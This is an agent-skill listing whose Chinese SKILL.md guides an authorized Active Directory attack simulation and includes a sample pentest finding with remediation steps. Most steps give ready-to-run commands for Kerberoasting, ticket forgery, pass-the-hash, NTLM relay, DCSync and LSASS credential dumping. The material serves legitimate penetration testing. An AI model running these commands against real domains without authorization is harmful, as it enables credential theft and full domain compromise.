# Executing Active Directory Attack Simulation

> 对 Active Directory 环境执行授权攻击模拟，识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析，使用 Mimikatz 进行凭据提取，使用 Impacket 进行协议级攻击，包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。

- Skill: `killvxk/executing-active-directory-attack-simulation` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/executing-active-directory-attack-simulation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/executing-active-directory-attack-simulation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/executing-active-directory-attack-simulation

---

# 执行 Active Directory 攻击模拟

## 适用场景

- 评估 Active Directory 域和林的安全性，对抗常见和高级攻击技术
- 利用特权关系分析，识别从低权限域用户到域管理员（Domain Admin）的攻击路径
- 验证 Kerberos 安全配置、凭据策略和委派设置能否抵御已知攻击
- 测试 SOC 和 EDR 工具针对 Active Directory 特定 TTP 的检测能力
- 评估分层管理模型和特权访问工作站（PAW）的有效性

**不适用于**：未获得域所有者明确书面授权的情况、在未获批准的业务高峰期对生产域控制器进行测试、或可能导致真实用户账户锁定的测试（须事先协调）。

## 前置条件

- 书面授权，注明目标 AD 域、测试约束条件以及任何禁止测试的账户或系统
- 低权限域用户账户（最低起点），用于模拟真实攻击者位置
- 已加入域的测试工作站，或能访问域控制器端口 88、135、139、389、445、636、3268、3269 的网络
- BloodHound 社区版或企业版，配合 SharpHound/AzureHound 采集器
- 在攻击平台上安装 Impacket 工具包、Mimikatz（或 pypykatz）、Rubeus 和 CrackMapExec
- Hashcat 或 John the Ripper，配备最新词表（rockyou.txt、SecLists），用于离线凭据破解

## 工作流程

### 步骤 1：Active Directory 侦察

从低权限域用户位置枚举 AD 环境：

- **域枚举**：使用 `Get-ADDomain` 或 `crackmapexec smb <dc_ip> -u <user> -p <pass> --domains` 识别域名、功能级别、域控制器和林信任关系
- **用户枚举**：使用 `Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet` 识别服务账户、特权账户和过期密码
- **组枚举**：使用 `net group "Domain Admins" /domain` 映射高价值组（Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators）的成员关系
- **GPO 枚举**：使用 `Get-GPO -All | Get-GPOReport -ReportType XML` 识别组策略配置，包括密码策略、审计设置和软件部署
- **信任枚举**：使用 `nltest /domain_trusts /all_trusts` 映射域间和林间信任关系，注意信任方向和传递性
- **LDAP 查询**：使用 `ldapsearch` 或 ADExplorer 搜索带有 `userAccountControl` 标志的账户，这些标志表示"密码永不过期"、"不需要密码"或"仅 DES Kerberos"

### 步骤 2：BloodHound 攻击路径分析

收集并分析 AD 关系数据，识别到达域管理员的最短路径：

- 运行 SharpHound 采集器：`SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\`，收集用户、组、会话、ACL、信任关系和 GPO 数据
- 将 JSON 输出导入 BloodHound，运行内置查询：
  - "从已拥有主体到域管理员的最短路径"
  - "查找具有 DCSync 权限的主体"
  - "查找域用户为本地管理员的计算机"
  - "到无约束委派系统的最短路径"
  - "从可 Kerberoast 用户的所有路径"
- 在 BloodHound 中将已控用户标记为"已拥有"，分析产生的攻击路径
- 识别基于 ACL 的攻击路径：对高价值对象的 GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword 权限
- 记录每条已识别的攻击路径，包含关系链和受影响对象

### 步骤 3：Kerberos 攻击

对已识别的脆弱账户执行 Kerberos 攻击：

- **Kerberoasting**：为带 SPN 的账户请求 TGS 票据：`impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes`。离线使用 `hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt` 破解
- **AS-REP Roasting**：针对未启用 Kerberos 预身份验证的账户：`impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes`。使用 `hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt` 破解
- **银票据（Silver Ticket）**：若服务账户的 NTLM 哈希被破解，使用 `impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>` 为该服务伪造 TGS 票据
- **黄金票据（Golden Ticket）**：若获取到 krbtgt 哈希（域沦陷后），伪造 TGT：`mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"`
- **无约束委派（Unconstrained Delegation）滥用**：识别具有无约束委派的计算机，使用 PrinterBug 或 PetitPotam 强制域控制器认证，然后从内存中捕获域控制器的 TGT

### 步骤 4：凭据攻击与横向移动

利用收集到的凭据在域内横向移动：

- **哈希传递（Pass-the-Hash）**：`impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>`，在已控账户具有本地管理员权限的系统上执行命令
- **票据传递（Pass-the-Ticket）**：`export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass`，使用捕获或伪造的 Kerberos 票据
- **NTLM 中继（NTLM Relay）**：配置 `impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>`，强制认证以中继 NTLM 凭据进行权限提升
- **DCSync**：若获取 DCSync 权限（复制目录更改权限）：`impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm`，转储所有域密码哈希
- **密码喷洒（Password spraying）**：`crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce`，对所有账户测试一个密码以避免锁定
- **LSASS 转储**：在已控主机上，使用 `mimikatz "sekurlsa::logonpasswords"` 或 `procdump -ma lsass.exe lsass.dmp` 从 LSASS 内存中提取凭据，然后离线提取

### 步骤 5：提升至域管理员权限

串联已发现的攻击路径，从低权限用户提升至域管理员：

- 按 BloodHound 识别的最短路径，执行每个关系节点（例如：对用户设置 GenericWrite 权限 -> 设置 SPN -> Kerberoast -> 破解密码 -> 用户是对 Domain Admins 具有 WriteDACL 权限的组成员 -> 授予自身成员资格）
- 若发现组策略首选项（GPP）密码，则利用之：`crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologin`
- 若部署了 LAPS（本地管理员密码解决方案），则查询 LAPS 密码：`Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd`
- 使用 Certipy 滥用证书服务（AD CS）：`certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>`，查找可利用的证书模板（ESC1-ESC8）
- 记录从初始用户到域管理员的完整攻击链，包含使用的所有凭据、工具和技术

## 核心概念

| 术语 | 定义 |
|------|------|
| **Kerberoasting** | 为具有服务主体名称（SPN）的账户请求 Kerberos TGS 票据，并离线破解以恢复服务账户明文密码 |
| **AS-REP Roasting** | 为未启用预身份验证的账户请求 Kerberos AS-REP 响应，并离线破解加密时间戳 |
| **DCSync** | 利用目录复制服务权限（DS-Replication-Get-Changes-All）从域控制器复制密码数据，模拟域控制器行为 |
| **BloodHound** | 基于图的 Active Directory 分析工具，映射特权关系，识别从任意用户到高价值目标（如域管理员）的攻击路径 |
| **无约束委派（Unconstrained Delegation）** | Kerberos 委派配置，允许服务以任意用户身份访问任意其他服务，从而捕获连接用户的 TGT |
| **哈希传递（Pass-the-Hash）** | 直接使用 NTLM 哈希而非明文密码进行身份验证，利用 Windows NTLM 认证机制 |
| **AD CS 滥用** | 利用错误配置的 Active Directory 证书服务模板请求证书，以获取提升的权限或冒充其他用户 |
| **NTLM 中继（NTLM Relay）** | 将捕获的 NTLM 认证转发给不同服务，以受害者身份进行认证，在未强制 SMB 签名时有效 |

## 工具与系统

- **BloodHound**：攻击路径分析工具，摄取 SharpHound 收集的 AD 数据，通过对象关系可视化并识别权限提升路径
- **Impacket**：网络协议交互的 Python 工具包，支持 Kerberos 攻击（GetUserSPNs、GetNPUsers）、凭据转储（secretsdump）和远程执行（psexec、wmiexec）
- **Mimikatz**：后渗透工具，用于从 Windows 内存（LSASS 进程）中提取明文凭据、NTLM 哈希和 Kerberos 票据
- **CrackMapExec**：面向 Active Directory 环境的多协议攻击工具，支持 SMB、LDAP、WinRM 和 MSSQL，内置密码喷洒和枚举模块
- **Certipy**：用于枚举和利用 Active Directory 证书服务（AD CS）错误配置的 Python 工具

## 常见场景

### 场景：针对医疗机构的域沦陷评估

**场景背景**：某医院网络拥有单个 Active Directory 林，包含 5,000 个用户账户、800 个计算机对象和分布在 3 个站点的 15 台域控制器。测试人员从单个低权限域用户账户开始，目标是确定拥有员工被盗凭据的攻击者是否能提升至域管理员。

**方法**：
1. 运行 SharpHound 收集 AD 关系数据并导入 BloodHound
2. BloodHound 揭示一条路径：已控用户 -> IT-Support 组成员 -> 对 SVC-SQL 账户具有 GenericAll 权限 -> SVC-SQL 具有 SPN -> Kerberoast -> SVC-SQL 是 DB-SERVER-01 的本地管理员 -> DB-SERVER-01 存在域管理员会话
3. Kerberoast SVC-SQL，使用 hashcat 在 12 分钟内破解弱密码（Summer2023!）
4. 使用 SVC-SQL 凭据通过 psexec 访问 DB-SERVER-01
5. 从 DB-SERVER-01 的 LSASS 内存中提取域管理员凭据
6. 执行 DCSync 转储所有域哈希，验证域沦陷
7. 报告完整攻击链及修复建议：为服务账户设置 25 位以上字符密码、启用仅 AES 的 Kerberos 加密、移除不必要的本地管理员权限、实施分层管理

**常见陷阱**：
- 在业务高峰期使用嘈杂的 SharpHound 收集方法，通过大量 LDAP 查询触发 SOC 告警
- 未先检查域锁定策略就进行密码喷洒，导致数百个账户被锁定
- 忽略 AD CS 漏洞测试，而这通常是到达域管理员最快的路径
- 未检查可能仍缓存凭据或存在活跃会话的过期计算机账户

## 输出格式

```
## 发现：服务账户易受 Kerberoasting 攻击且使用弱密码

**ID**: AD-002
**严重性**: 严重（CVSS 9.1）
**受影响对象**: SVC-SQL@corp.example.com（服务账户）
**攻击技术**: MITRE ATT&CK T1558.003 - Kerberoasting

**描述**:
服务账户 SVC-SQL 在 Active Directory 中注册了服务主体名称（MSSQLSvc/db-server-01.corp.example.com:1433），
使用弱密码，hashcat 结合 rockyou.txt 词表在 12 分钟内破解成功。该账户在
DB-SERVER-01 上具有本地管理员权限，测试时该服务器存在活跃的域管理员会话。

**攻击链**:
1. 请求 TGS 票据: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. 破解哈希: hashcat -m 13100 hash.txt rockyou.txt（12 分钟破解: Summer2023!）
3. 横向移动: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. 凭据提取: mimikatz sekurlsa::logonpasswords -> 域管理员 NTLM 哈希

**影响**:
从单个低权限域用户账户实现完全域沦陷。攻击者可访问所有
5,000 个用户账户、800 个计算机对象以及域内所有数据。

**修复建议**:
1. 为 SVC-SQL 及所有服务账户设置 25 位以上随机生成密码
2. 迁移至组托管服务账户（gMSA），自动轮换 120 字符密码
3. 启用 AES256 Kerberos 加密，禁用 RC4（DES）加密
4. 从 DB-SERVER-01 本地管理员组中移除 SVC-SQL
5. 对特权账户实施 Protected Users 组，防止凭据缓存
6. 部署 Microsoft Defender for Identity，检测 Kerberoasting 和 DCSync 攻击
```

